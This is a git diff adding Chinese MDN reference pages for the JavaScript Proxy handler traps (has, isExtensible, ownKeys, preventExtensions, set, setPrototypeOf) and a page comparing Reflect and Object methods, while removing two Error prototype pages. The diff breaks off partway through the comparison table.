diff --git a/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/has/index.html b/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/has/index.html new file mode 100644 index 0000000000..fead0846ff --- /dev/null +++ b/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/has/index.html @@ -0,0 +1,176 @@ +--- +title: handler.has() +slug: Web/JavaScript/Reference/Global_Objects/Proxy/handler/has +translation_of: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/has +--- +
{{JSRef}}
+ +

 handler.has() 方法是针对 {{jsxref("Operators/in", "in")}} 操作符的代理方法。

+ + + + + +

{{EmbedInteractiveExample("pages/js/proxyhandler-has.html", "taller")}}

+ + + + + +

语法

+ +
var p = new Proxy(target, {
+  has: function(target, prop) {
+  }
+});
+
+ +

参数

+ +

下面是传递给 has 方法的参数. this is bound to the handler.

+ +
+
target
+
目标对象.
+
prop
+
需要检查是否存在的属性.
+
+ +

返回值

+ +

has 方法返回一个 boolean 属性的值.

+ +

描述

+ +

handler.has 方法可以看作是针对 {{jsxref("Operators/in", "in")}} 操作的钩子.

+ +

拦截

+ +

这个钩子可以拦截下面这些操作:

+ +
    +
  • 属性查询: foo in proxy
  • +
  • 继承属性查询: foo in Object.create(proxy)
  • +
  • with 检查: with(proxy) { (foo); }
  • +
  • {{jsxref("Reflect.has()")}}
  • +
+ +

约束

+ +

如果违反了下面这些规则,  proxy 将会抛出 {{jsxref("TypeError")}}:

+ +
    +
  • 如果目标对象的某一属性本身不可被配置,则该属性不能够被代理隐藏.
  • +
  • 如果目标对象为不可扩展对象,则该对象的属性不能够被代理隐藏
  • +
+ +

示例

+ +

下面的代码拦截了 {{jsxref("Operators/in", "in")}} 操作符.

+ +
var p = new Proxy({}, {
+  has: function(target, prop) {
+    console.log('called: ' + prop);
+    return true;
+  }
+});
+
+console.log('a' in p); // "called: a"
+                       // true
+
+ +

下面的代码违反了约束.

+ +
var obj = { a: 10 };
+Object.preventExtensions(obj);
+var p = new Proxy(obj, {
+  has: function(target, prop) {
+    return false;
+  }
+});
+
+'a' in p; // TypeError is thrown
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('ES2015', '#sec-proxy-object-internal-methods-and-internal-slots-hasproperty-p', '[[HasProperty]]')}}{{Spec2('ES2015')}}Initial definition.
{{SpecName('ESDraft', '#sec-proxy-object-internal-methods-and-internal-slots-hasproperty-p', '[[HasProperty]]')}}{{Spec2('ESDraft')}}
+ +

浏览器支持

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatUnknown}}{{CompatGeckoDesktop("18")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatUnknown}}{{CompatGeckoMobile("18")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

其他

+ +
    +
  • {{jsxref("Proxy")}}
  • +
  • {{jsxref("Proxy.handler", "handler")}}
  • +
  • {{jsxref("Operators/in", "in")}} operator
  • +
  • {{jsxref("Reflect.has()")}}
  • +
diff --git a/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/isextensible/index.html b/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/isextensible/index.html new file mode 100644 index 0000000000..7be418197f --- /dev/null +++ b/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/isextensible/index.html @@ -0,0 +1,123 @@ +--- +title: handler.isExtensible() +slug: Web/JavaScript/Reference/Global_Objects/Proxy/handler/isExtensible +tags: + - ECMAScript 2015 + - JavaScript + - Method + - Proxy +translation_of: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/isExtensible +--- +
{{JSRef}}
+handler.isExtensible() 方法用于拦截对对象的Object.isExtensible()。
+ +
+

{{EmbedInteractiveExample("pages/js/proxyhandler-isextensible.html", "taller")}}

+
+ +

语法

+ +
var p = new Proxy(target, {
+  isExtensible: function(target) {
+  }
+});
+
+ +

参数

+ +

下列参数将会被传递给 isExtensible方法。 this 绑定在 handler 对象上。

+ +
+
target
+
目标对象。
+
+ +

返回值

+ +

isExtensible方法必须返回一个 Boolean值或可转换成Boolean的值。

+ +

描述

+ +

handler.isExtensible()用于拦截对对象的Object.isExtensible()。

+ +

拦截

+ +

该方法会拦截目标对象的以下操作:

+ +
    +
  • {{jsxref("Object.isExtensible()")}}
  • +
  • {{jsxref("Reflect.isExtensible()")}}
  • +
+ +

约束

+ +

如果违背了以下的约束,proxy会抛出 TypeError:

+ +
    +
  • Object.isExtensible(proxy) 必须同Object.isExtensible(target)返回相同值。也就是必须返回true或者为true的值,返回false和为false的值都会报错。
  • +
+ +

示例

+ +

以下代码演示{{jsxref("Object.isExtensible()")}}.

+ +
var p = new Proxy({}, {
+  isExtensible: function(target) {
+    console.log('called');
+    return true;//也可以return 1;等表示为true的值
+  }
+});
+
+console.log(Object.isExtensible(p)); // "called"
+                                     // true
+
+ +

以下代码演示违反约束的情况。

+ +
var p = new Proxy({}, {
+  isExtensible: function(target) {
+    return false;//return 0;return NaN等都会报错
+  }
+});
+
+Object.isExtensible(p); // TypeError is thrown
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('ES2015', '#sec-proxy-object-internal-methods-and-internal-slots-isextensible', '[[IsExtensible]]')}}{{Spec2('ES2015')}}Initial definition.
{{SpecName('ESDraft', '#sec-proxy-object-internal-methods-and-internal-slots-isextensible', '[[IsExtensible]]')}}{{Spec2('ESDraft')}}
+ +

浏览器兼容性

+ +
+ + +

{{Compat("javascript.builtins.Proxy.handler.isExtensible")}}

+
+ +

另见

+ +
    +
  • {{jsxref("Proxy")}}
  • +
  • {{jsxref("Proxy.handler", "handler")}}
  • +
  • {{jsxref("Object.isExtensible()")}}
  • +
  • {{jsxref("Reflect.isExtensible()")}}
  • +
diff --git a/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/ownkeys/index.html b/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/ownkeys/index.html new file mode 100644 index 0000000000..956b908375 --- /dev/null +++ b/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/ownkeys/index.html @@ -0,0 +1,193 @@ +--- +title: handler.ownKeys() +slug: Web/JavaScript/Reference/Global_Objects/Proxy/handler/ownKeys +translation_of: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/ownKeys +--- +
{{JSRef}}
+ +

handler.ownKeys() 方法用于拦截 {{jsxref("Reflect.ownKeys()")}}.

+ + + +

{{EmbedInteractiveExample("pages/js/proxyhandler-ownkeys.html", "taller")}}

+ + + +

语法

+ +
var p = new Proxy(target, {
+  ownKeys: function(target) {
+  }
+});
+
+ +

参数

+ +

下面的参数被传递给ownKeys。this被绑定在handler上。

+ +
+
target
+
目标对象.
+
+ +

返回值

+ +

ownKeys 方法必须返回一个可枚举对象.

+ +

描述

+ +

handler.ownKeys() 方法用于拦截 {{jsxref("Reflect.ownKeys()")}}.

+ +

拦截

+ +

该拦截器可以拦截以下操作::

+ +
    +
  • {{jsxref("Object.getOwnPropertyNames()")}}
  • +
  • {{jsxref("Object.getOwnPropertySymbols()")}}
  • +
  • {{jsxref("Object.keys()")}}
  • +
  • {{jsxref("Reflect.ownKeys()")}}
  • +
+ +

约束

+ +

如果违反了下面的约束,proxy将抛出错误 {{jsxref("TypeError")}}:

+ +
    +
  • ownKeys 的结果必须是一个数组.
  • +
  • 数组的元素类型要么是一个 {{jsxref("String")}} ,要么是一个 {{jsxref("Symbol")}}.
  • +
  • 结果列表必须包含目标对象的所有不可配置(non-configurable )、自有(own)属性的key.
  • +
  • 如果目标对象不可扩展,那么结果列表必须包含目标对象的所有自有(own)属性的key,不能有其它值.
  • +
+ +

示例

+ +

下面的代码拦截 {{jsxref("Object.getOwnPropertyNames()")}}.

+ +
var p = new Proxy({}, {
+  ownKeys: function(target) {
+    console.log('called');
+    return ['a', 'b', 'c'];
+  }
+});
+
+console.log(Object.getOwnPropertyNames(p)); // "called"
+                                            // [ 'a', 'b', 'c' ]
+ +

下面的代码违反了约定

+ +
var obj = {};
+Object.defineProperty(obj, 'a', {
+  configurable: false,
+  enumerable: true,
+  value: 10 }
+);
+
+var p = new Proxy(obj, {
+  ownKeys: function(target) {
+    return [123, 12.5, true, false, undefined, null, {}, []];
+  }
+});
+
+console.log(Object.getOwnPropertyNames(p));
+
+// TypeError: proxy [[OwnPropertyKeys]] 必须返回一个数组
+// 数组元素类型只能是String或Symbol
+
+ +

标准

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('ES2015', '#sec-proxy-object-internal-methods-and-internal-slots-ownpropertykeys', '[[OwnPropertyKeys]]')}}{{Spec2('ES2015')}}Initial definition.
{{SpecName('ESDraft', '#sec-proxy-object-internal-methods-and-internal-slots-ownpropertykeys', '[[OwnPropertyKeys]]')}}{{Spec2('ESDraft')}}
+ +

浏览器兼容

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatUnknown}}{{CompatGeckoDesktop("18")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatUnknown}}{{CompatGeckoMobile("18")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

兼容性注意事项

+ +

Firefox火狐

+ +
    +
  • 在Gecko 42 {{geckoRelease(42)}}版本中, ownKey 的实施已经更新了,为了反映最终的ES5标准 (see {{bug(1049662)}}): + +
      +
    • 现在需要检查结果是不是数组以及数组元素类型是不是string或symbol.
    • +
    • 枚举重复的自有的属性名称不再失败.
    • +
    +
  • +
+ +

另见

+ +
    +
  • {{jsxref("Proxy")}}
  • +
  • {{jsxref("Proxy.handler", "handler")}}
  • +
  • {{jsxref("Object.getOwnPropertyNames()")}}
  • +
  • {{jsxref("Reflect.ownKeys()")}}
  • +
diff --git a/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/preventextensions/index.html b/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/preventextensions/index.html new file mode 100644 index 0000000000..dd6823c9dd --- /dev/null +++ b/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/preventextensions/index.html @@ -0,0 +1,120 @@ +--- +title: handler.preventExtensions() +slug: Web/JavaScript/Reference/Global_Objects/Proxy/handler/preventExtensions +tags: + - Proxy 代理 拦截 +translation_of: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/preventExtensions +--- +
{{JSRef}}
+ +

handler.preventExtensions() 方法用于设置对{{jsxref("Object.preventExtensions()")}}的拦截

+ +

{{EmbedInteractiveExample("pages/js/proxyhandler-preventextensions.html", "taller")}}

+ +

语法

+ +
var p = new Proxy(target, {
+  preventExtensions: function(target) {
+  }
+});
+
+ +

参数

+ +

以下参数传递给 preventExtensions 方法. 它会绑定到这个handler.

+ +
+
target
+
所要拦截的目标对象.
+
+ +

返回值

+ +

preventExtensions 方法返回一个布尔值.

+ +

描述

+ +

handler.preventExtensions() 拦截 {{jsxref("Object.preventExtensions()")}}返回一个布尔值.

+ +

拦截

+ +

这个trap可以拦截这些操作:

+ +
    +
  • {{jsxref("Object.preventExtensions()")}}
  • +
  • {{jsxref("Reflect.preventExtensions()")}}
  • +
+ +

约束

+ +

如果违反了下列规则, proxy则会抛出一个 {{jsxref("TypeError")}}:

+ +
    +
  • 如果目标对象是可扩展的,那么只能返回 false
  • +
+ +

示例

+ +

以下代码演示了如何拦截{{jsxref("Object.preventExtensions()")}}。

+ +
var p = new Proxy({}, {
+  preventExtensions: function(target) {
+    console.log('called');
+    Object.preventExtensions(target);
+    return true;
+  }
+});
+
+console.log(Object.preventExtensions(p)); // "called"
+                                          // false
+
+ +

以下代码违反了约束.

+ +
var p = new Proxy({}, {
+  preventExtensions: function(target) {
+    return true;
+  }
+});
+
+Object.preventExtensions(p); // 抛出类型错误
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('ES2015', '#sec-proxy-object-internal-methods-and-internal-slots-preventextensions', '[[PreventExtensions]]')}}{{Spec2('ES2015')}}Initial definition.
{{SpecName('ESDraft', '#sec-proxy-object-internal-methods-and-internal-slots-preventextensions', '[[PreventExtensions]]')}}{{Spec2('ESDraft')}}
+ +

浏览器兼容性

+ +
+ + +

{{Compat("javascript.builtins.Proxy.handler.preventExtensions")}}

+
+ +

参考

+ +
    +
  • {{jsxref("Proxy")}}
  • +
  • {{jsxref("Proxy.handler", "handler")}}
  • +
  • {{jsxref("Object.preventExtensions()")}}
  • +
  • {{jsxref("Reflect.preventExtensions()")}}
  • +
diff --git a/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/set/index.html b/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/set/index.html new file mode 100644 index 0000000000..c66481647a --- /dev/null +++ b/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/set/index.html @@ -0,0 +1,125 @@ +--- +title: handler.set() +slug: Web/JavaScript/Reference/Global_Objects/Proxy/handler/set +tags: + - ECMAScript6 + - JavaScript + - Method + - Proxy + - Proxy拦截 +translation_of: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/set +--- +
{{JSRef}}
+ +

handler.set() 方法是设置属性值操作的捕获器。

+ +
{{EmbedInteractiveExample("pages/js/proxyhandler-set.html", "taller")}}
+ + + +

语法

+ +
const p = new Proxy(target, {
+  set: function(target, property, value, receiver) {
+  }
+});
+
+ +

参数

+ +

以下是传递给 set() 方法的参数。this 绑定在 handler 对象上。

+ +
+
target
+
目标对象。
+
property
+
将被设置的属性名或 {{jsxref("Symbol")}}。
+
value
+
新属性值。
+
receiver
+
最初被调用的对象。通常是 proxy 本身,但 handler 的 set 方法也有可能在原型链上,或以其他方式被间接地调用(因此不一定是 proxy 本身)。 +
+

比如:假设有一段代码执行 obj.name = "jen"obj 不是一个 proxy,且自身不含 name 属性,但是它的原型链上有一个 proxy,那么,那个 proxy 的 set() 处理器会被调用,而此时,obj 会作为 receiver 参数传进来。

+
+
+
+ +

返回值

+ +

set() 方法应当返回一个布尔值。

+ +
    +
  • 返回 true 代表属性设置成功。
  • +
  • 在严格模式下,如果 set() 方法返回 false,那么会抛出一个 {{jsxref("TypeError")}} 异常。
  • +
+ +

描述

+ +

handler.set() 方法用于拦截设置属性值的操作。

+ +

拦截

+ +

该方法会拦截目标对象的以下操作:

+ +
    +
  • 指定属性值:proxy[foo] = barproxy.foo = bar
  • +
  • 指定继承者的属性值:Object.create(proxy)[foo] = bar
  • +
  • {{jsxref("Reflect.set()")}}
  • +
+ +

约束

+ +

如果违背以下的约束条件,proxy 会抛出一个 {{jsxref("TypeError")}} 异常:

+ +
    +
  • 若目标属性是一个不可写及不可配置的数据属性,则不能改变它的值。
  • +
  • 如果目标属性没有配置存储方法,即 [[Set]] 属性的是 undefined,则不能设置它的值。
  • +
  • 在严格模式下,如果 set() 方法返回 false,那么也会抛出一个 {{jsxref("TypeError")}} 异常。
  • +
+ +

示例

+ +

以下代码演示如何捕获属性的设置操作。

+ +
var p = new Proxy({}, {
+  set: function(target, prop, value, receiver) {
+    target[prop] = value;
+    console.log('property set: ' + prop + ' = ' + value);
+    return true;
+  }
+})
+
+console.log('a' in p);  // false
+
+p.a = 10;               // "property set: a = 10"
+console.log('a' in p);  // true
+console.log(p.a);       // 10
+ +

规范

+ + + + + + + + + + + + +
规范
{{SpecName('ESDraft', '#sec-proxy-object-internal-methods-and-internal-slots-set-p-v-receiver', '[[Set]]')}}
+ +

浏览器兼容性

+ + + +

{{Compat("javascript.builtins.Proxy.handler.set")}}

+ +

另见

+ +
    +
  • {{jsxref("Proxy")}}
  • +
  • {{jsxref("Proxy.handler", "handler")}}
  • +
  • {{jsxref("Reflect.set()")}}
  • +
diff --git a/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/setprototypeof/index.html b/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/setprototypeof/index.html new file mode 100644 index 0000000000..9d88cd2593 --- /dev/null +++ b/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/setprototypeof/index.html @@ -0,0 +1,124 @@ +--- +title: handler.setPrototypeOf() +slug: Web/JavaScript/Reference/Global_Objects/Proxy/handler/setPrototypeOf +translation_of: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/setPrototypeOf +--- +
{{JSRef}}
+ +

handler.setPrototypeOf() 方法主要用来拦截 {{jsxref("Object.setPrototypeOf()")}}.

+ +

语法

+ +
var p = new Proxy(target, {
+  setPrototypeOf: function(target, prototype) {
+  }
+});
+
+ +

参数

+ +

以下参数传递给 setPrototypeOf 方法. 

+ +
+
target
+
被拦截目标对象.
+
prototype
+
对象新原型或为null.
+
+ +

返回值

+ +

如果成功修改了[[Prototype]]setPrototypeOf 方法返回 true,否则返回 false.

+ +

描述

+ +

这个 handler.setPrototypeOf 方法用于拦截 {{jsxref("Object.setPrototypeOf()")}}.

+ +

拦截

+ +

这个方法可以拦截以下操作:

+ +
    +
  • {{jsxref("Object.setPrototypeOf()")}}
  • +
  • {{jsxref("Reflect.setPrototypeOf()")}}
  • +
+ +

Invariants

+ +

如果违反了下列规则,则proxy将抛出一个{{jsxref("TypeError")}}:

+ +
    +
  • 如果 target 不可扩展, 原型参数必须与Object.getPrototypeOf(target) 的值相同.
  • +
+ +

示例

+ +

如果你不想为你的对象设置一个新的原型,你的handler's的setPrototypeOf方法可以返回false,也可以抛出异常。

+ +

The former approach means that any operation that performs such mutation, that throws an exception on failure to mutate, will have to create the exception itself.  For example, {{jsxref("Object.setPrototypeOf()")}} will create and throw a TypeError itself.  If the mutation is performed by an operation that doesn't ordinarily throw in case of failure, such as {{jsxref("Reflect.setPrototypeOf()")}}, no exception will be thrown.

+ +
var handlerReturnsFalse = {
+    setPrototypeOf(target, newProto) {
+        return false;
+    }
+};
+
+var newProto = {}, target = {};
+
+var p1 = new Proxy(target, handlerReturnsFalse);
+Object.setPrototypeOf(p1, newProto); // throws a TypeError
+Reflect.setPrototypeOf(p1, newProto); // returns false
+
+ +

The latter approach will cause any operation that attempts to mutate, to throw.  This approach is required if you want even non-throwing operations to throw on failure, or you want to throw a custom exception value.

+ +
var handlerThrows = {
+    setPrototypeOf(target, newProto) {
+        throw new Error('custom error');
+    }
+};
+
+var newProto = {}, target = {};
+
+var p2 = new Proxy(target, handlerThrows);
+Object.setPrototypeOf(p2, newProto); // throws new Error("custom error")
+Reflect.setPrototypeOf(p2, newProto); // throws new Error("custom error")
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('ES2015', '#sec-proxy-object-internal-methods-and-internal-slots-setprototypeof-v', '[[SetPrototypeOf]]')}}{{Spec2('ES2015')}}Initial definition.
{{SpecName('ESDraft', '#sec-proxy-object-internal-methods-and-internal-slots-setprototypeof-v', '[[SetPrototypeOf]]')}}{{Spec2('ESDraft')}} 
+ +

Browser compatibility

+ +
+ + +

{{Compat("javascript.builtins.Proxy.handler.setPrototypeOf")}}

+
+ +

See also

+ +
    +
  • {{jsxref("Proxy")}}
  • +
  • {{jsxref("Proxy.handler", "handler")}}
  • +
  • {{jsxref("Object.setPrototypeOf()")}}
  • +
  • {{jsxref("Reflect.setPrototypeOf()")}}
  • +
diff --git a/files/zh-cn/web/javascript/reference/global_objects/rangeerror/prototype/index.html b/files/zh-cn/web/javascript/reference/global_objects/rangeerror/prototype/index.html deleted file mode 100644 index 0e2c78aedf..0000000000 --- a/files/zh-cn/web/javascript/reference/global_objects/rangeerror/prototype/index.html +++ /dev/null @@ -1,89 +0,0 @@ ---- -title: RangeError.prototype -slug: Web/JavaScript/Reference/Global_Objects/RangeError/prototype -translation_of: Web/JavaScript/Reference/Global_Objects/RangeError -translation_of_original: Web/JavaScript/Reference/Global_Objects/RangeError/prototype ---- -
{{JSRef}}
- -
 
- -
RangeError.prototype 属性表示 {{jsxref("RangeError")}} 构造函数的原型。
- -
 
- -
{{js_property_attributes(0, 0, 0)}}
- -

描述

- -

所有  {{jsxref("RangeError")}} 的实例都继承自 RangeError.prototype ,所以你可以使用这个属性来为所有的实例添加属性或方法。

- -

属性

- -
-
RangeError.prototype.constructor
-
指定了创建实例原型的函数
-
{{jsxref("Error.prototype.message", "RangeError.prototype.message")}}
-
错误信息。尽管 ECMA-262 规定了 {{jsxref("RangeError")}} 应该拥有一个 message 属性,但在 SpiderMonkey 中,该属性继承自 {{jsxref("Error.prototype.message")}}。
-
{{jsxref("Error.prototype.name", "RangeError.prototype.name")}}
-
错误名字,继承自 {{jsxref("Error")}}。
-
{{jsxref("Error.prototype.fileName", "RangeError.prototype.fileName")}}
-
引起该错误的文件路径,继承自 {{jsxref("Error")}}。
-
{{jsxref("Error.prototype.lineNumber", "RangeError.prototype.lineNumber")}}
-
引起该错误的行号,继承自 {{jsxref("Error")}}。
-
{{jsxref("Error.prototype.columnNumber", "RangeError.prototype.columnNumber")}}
-
引起该错误的列号,继承自 {{jsxref("Error")}}。
-
{{jsxref("Error.prototype.stack", "RangeError.prototype.stack")}}
-
堆栈跟踪记录,继承自 {{jsxref("Error")}}。
-
- -

方法

- -

尽管 {{jsxref("RangeError")}} 原型对象自身没有包含任何方法,但是 {{jsxref("RangeError")}} 实例却通过原型链继承到了一些方法。

- -

Specifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('ES3')}}{{Spec2('ES3')}}Initial definition.
{{SpecName('ES5.1', '#sec-15.11.7.6', 'NativeError.prototype')}}{{Spec2('ES5.1')}}Defined as NativeError.prototype.
{{SpecName('ES6', '#sec-nativeerror.prototype', 'NativeError.prototype')}}{{Spec2('ES6')}}Defined as NativeError.prototype.
{{SpecName('ESDraft', '#sec-nativeerror.prototype', 'NativeError.prototype')}}{{Spec2('ESDraft')}}Defined as NativeError.prototype.
- -

Browser compatibility

- -
- - -

{{Compat("javascript.builtins.RangeError")}}

-
- -

See also

- -
    -
  • {{jsxref("Error.prototype")}}
  • -
  • {{jsxref("Function.prototype")}}
  • -
diff --git a/files/zh-cn/web/javascript/reference/global_objects/referenceerror/prototype/index.html b/files/zh-cn/web/javascript/reference/global_objects/referenceerror/prototype/index.html deleted file mode 100644 index 4cb00496ef..0000000000 --- a/files/zh-cn/web/javascript/reference/global_objects/referenceerror/prototype/index.html +++ /dev/null @@ -1,93 +0,0 @@ ---- -title: ReferenceError.prototype -slug: Web/JavaScript/Reference/Global_Objects/ReferenceError/prototype -tags: - - Error - - JavaScript - - Property - - Prototype - - ReferenceError -translation_of: Web/JavaScript/Reference/Global_Objects/ReferenceError -translation_of_original: Web/JavaScript/Reference/Global_Objects/ReferenceError/prototype ---- -
{{JSRef}}
- -

ReferenceError.prototype 表示 {{jsxref("ReferenceError")}} 的原型构造器。

- -
{{js_property_attributes(0, 0, 0)}}
- -

描述

- -

所有{{jsxref("ReferenceError")}} 实例都继承自 ReferenceError.prototype. 你可以使用原型来为所有实例添加属性和方法。

- -

属性

- -
-
ReferenceError.prototype.constructor
-
创建一个实例原型的函数。
-
{{jsxref("Error.prototype.message", "ReferenceError.prototype.message")}}
-
错误信息。尽管ECMA-262 曾表示 {{jsxref("ReferenceError")}} 应该提供自己的 message 属性, 在 SpiderMonkey 中, 它继承自{{jsxref("Error.prototype.message")}}.
-
{{jsxref("Error.prototype.name", "ReferenceError.prototype.name")}}
-
错误名称. 继承自{{jsxref("Error")}}.
-
{{jsxref("Error.prototype.fileName", "ReferenceError.prototype.fileName")}}
-
出现这个错误的路径. 继承自 {{jsxref("Error")}}.
-
{{jsxref("Error.prototype.lineNumber", "ReferenceError.prototype.lineNumber")}}
-
出现这个错误的行号. 继承自 {{jsxref("Error")}}.
-
{{jsxref("Error.prototype.columnNumber", "ReferenceError.prototype.columnNumber")}}
-
出现这个错误的列号. 继承自 {{jsxref("Error")}}.
-
{{jsxref("Error.prototype.stack", "ReferenceError.prototype.stack")}}
-
堆栈追踪. 继承自 {{jsxref("Error")}}.
-
- -

方法

- -

尽管 {{jsxref("ReferenceError")}} 原型对象自身没有包括任何方法, {{jsxref("ReferenceError")}} 实例确实从原型链中继承了一些方法。

- -

规格

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
规格版本状态注释
{{SpecName('ES3')}}{{Spec2('ES3')}}初始定义
{{SpecName('ES5.1', '#sec-15.11.7.6', 'NativeError.prototype')}}{{Spec2('ES5.1')}} -

Defined as NativeError.prototype.

-
{{SpecName('ES6', '#sec-nativeerror.prototype', 'NativeError.prototype')}}{{Spec2('ES6')}}Defined as NativeError.prototype.
{{SpecName('ESDraft', '#sec-nativeerror.prototype', 'NativeError.prototype')}}{{Spec2('ESDraft')}}Defined as NativeError.prototype.
- -

浏览器兼容性

- -
- - -

{{Compat("javascript.builtins.ReferenceError")}}

-
- -

参见

- -
    -
  • {{jsxref("Error.prototype")}}
  • -
  • {{jsxref("Function.prototype")}}
  • -
diff --git a/files/zh-cn/web/javascript/reference/global_objects/reflect/comparing_reflect_and_object_methods/index.html b/files/zh-cn/web/javascript/reference/global_objects/reflect/comparing_reflect_and_object_methods/index.html new file mode 100644 index 0000000000..43023eae7f --- /dev/null +++ b/files/zh-cn/web/javascript/reference/global_objects/reflect/comparing_reflect_and_object_methods/index.html @@ -0,0 +1,134 @@ +--- +title: 比较 Reflect 和 Object 方法 +slug: Web/JavaScript/Reference/Global_Objects/Reflect/比较_Reflect_和_Object_方法 +tags: + - Guide + - JavaScript + - Object + - Overview + - Reflect +translation_of: >- + Web/JavaScript/Reference/Global_Objects/Reflect/Comparing_Reflect_and_Object_methods +--- +
{{jssidebar}}
+ +

ES2015中引入的 {{jsxref("Reflect")}} 对象是一个内置对象,提供了与JavaScript对象交互的方法。Reflect 上存在的一些静态函数也对应于ES2015之前的{{jsxref("Object")}}上可用的方法。尽管某些方法在行为上看似相似,但它们之间常常存在细微的差异。

+ +

下表详细介绍了Object 和 Reflect API上可用方法之间的差异。请注意,如果API中不存在某种方法,则将其标记为N/A。

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Method NameObjectReflect
defineProperty() +

{{jsxref("Object.defineProperty()")}} 返回传递给函数的对象。如果未在对象上成功定义属性,则返回TypeError

+
+

如果在对象上定义了属性,则{{jsxref("Reflect.defineProperty()")}}返回true,否则返回false

+
defineProperties() +

{{jsxref("Object.defineProperties()")}} 返回传递给函数的对象。如果未在对象上成功定义属性,则返回TypeError

+
N/A
set()N/A +

如果在对象上成功设置了属性,则{{jsxref("Reflect.set()")}}返回true,否则返回false。如果目标不是Object,则抛出TypeError

+
get()N/A +

{{jsxref("Reflect.get()")}}返回属性的值。如果目标不是Object,则抛出TypeError

+
deleteProperty()N/A +

如果属性从对象中删除,则{{jsxref("Reflect.deleteProperty()")}}返回true,否则返回false

+
getOwnPropertyDescriptor() +

如果传入的对象参数上存在{{jsxref("Object.getOwnPropertyDescriptor()")}} ,则会返回给定属性的属性描述符,如果不存在,则返回undefined

+
+

如果给定属性存在于对象上,则{{jsxref("Reflect.getOwnPropertyDescriptor()")}} 返回给定属性的属性描述符。如果不存在则返回undefined,如果传入除对象(原始值)以外的任何东西作为第一个参数,则返回TypeError

+
getOwnPropertyDescriptors() +

{{jsxref("Object.getOwnPropertyDescriptors()")}} 返回一个对象,其中包含每个传入对象的属性描述符。如果传入的对象没有拥有的属性描述符,则返回一个空对象。

+
N/A
getPrototypeOf() +

{{jsxref("Object.getPrototypeOf()")}}返回给定对象的原型。如果没有继承的原型,则返回null。在ES5中为非对象抛出TypeError,但在ES2015中强制为非对象。

+
+

{{jsxref("Reflect.getPrototypeOf()")}}返回给定对象的原型。如果没有继承的原型,则返回null,并为非对象抛出TypeError

+
setPrototypeOf() +

如果对象的原型设置成功,则{{jsxref("Object.setPrototypeOf()")}}返回对象本身。如果设置的原型不是Objectnull,或者被修改的对象的原型不可扩展,则抛出TypeError

+
+

如果在对象上成功设置了原型,则{{jsxref("Reflect.setPrototypeOf()")}} 返回true,否则返回false(包括原型是否不可扩展)。如果传入的目标不是Object,或者设置的原型不是Objectnull,则抛出TypeError

+
isExtensible() +

如果对象是可扩展的,则Object.isExtensible()返回true,否则返回false。如果第一个参数不是对象(原始值),则在ES5中抛出TypeError。在ES2015中,它将被强制为不可扩展的普通对象并返回false

+
+

如果对象是可扩展的,则{{jsxref("Reflect.isExtensible()")}} 返回true,否则返回false。如果第一个参数不是对象(原始值),则抛出TypeError

+
preventExtensions() +

{{jsxref("Object.preventExtensions()")}} 返回被设为不可扩展的对象。如果参数不是对象(原始值),则在ES5中抛出TypeError。在ES2015中,参数如为不可扩展的普通对象,然后返回对象本身。

+
+

returns true if the object has been made non-extensible, and false if it has not. Throws a TypeError if the argument is not an object (a primitive).

+ +

如果对象已变得不可扩展,则{{jsxref("Reflect.preventExtensions()")}} 返回true,否则返回false。如果参数不是对象(原始值),则抛出TypeError

+
keys() +

{{jsxref("Object.keys()")}}返回一个字符串数组,该字符串映射到目标对象自己的(可枚举)属性键。如果目标不是对象,则在ES5中抛出TypeError,但将非对象目标强制为ES2015中的对象

+
N/A
ownKeys()N/A +

